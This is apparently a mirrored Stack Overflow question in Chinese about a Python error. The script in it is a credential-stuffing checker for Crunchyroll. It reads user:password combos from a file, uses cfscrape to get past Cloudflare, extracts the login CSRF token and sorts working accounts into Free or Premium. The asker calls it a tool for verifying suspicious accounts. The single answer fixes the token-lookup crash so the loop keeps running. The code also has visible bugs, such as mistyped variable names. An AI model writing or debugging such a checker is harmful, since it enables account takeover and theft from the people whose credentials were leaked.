如何解决:“ NoneType”对象不可下标

时间:2019-10-17 19:59:41

标签: python web-scraping

我正在创建一个脚本来验证可疑账​​户。 该错误源于“我尝试”使用BeautifulSoup提取CSRF令牌时。

代码:

def check ():
    session = cfscrape.create_scraper()
    login_page = sesseion.get(login)

    login_soup = BeautifulSoup(login_page.text,'html5lib' )
    csrftok = login_soup.find('input', {'name':'login_form[_token]'})['value']

    session.post(login,
                  data={'login_form[name]': user,
                        'login_form[password]': passw,
                        'login_form[redirect_url]': '/',
                        'login_form[_token]': csrftok})

    membership = session.get(acc_member)
    member_soup = BeautifulSoup(membership.text, 'html5lib')

    if member_soup.title.get_text().strip() == 'Crunchyroll -   Account Management':
        if member_soup.find(class_='acct-membership-status').contents[1].find('td').get_text().strip() == 'Free':
            print('free:{}'.format(user+ ':' + passw))

        else:
            print('Premium:{}'.format(user + ':' + passw))
    else:
        print('not working:{}'.format(user + ':' + passw))

    read_combos = open(file_combos, "r")
    for linea in read_combos.readlines():
        users, passwords = line.split(':')
        check(users.strip(), passwords.strip())
        read_combos.close()

如何解决以下错误?

File "checker2.py", line 15, in check
   csrftok = login_soup.find('input', {'name':'login_form[_token]'})['value']
TypeError: 'NoneType' object is not subscriptable

1 个答案:

答案 0 :(得分:0)

像这样的东西比try / except更好:

e = login_soup.find('input', {'name':'login_form[_token]'})
csrftok = e['value'] if e else 'Not Found'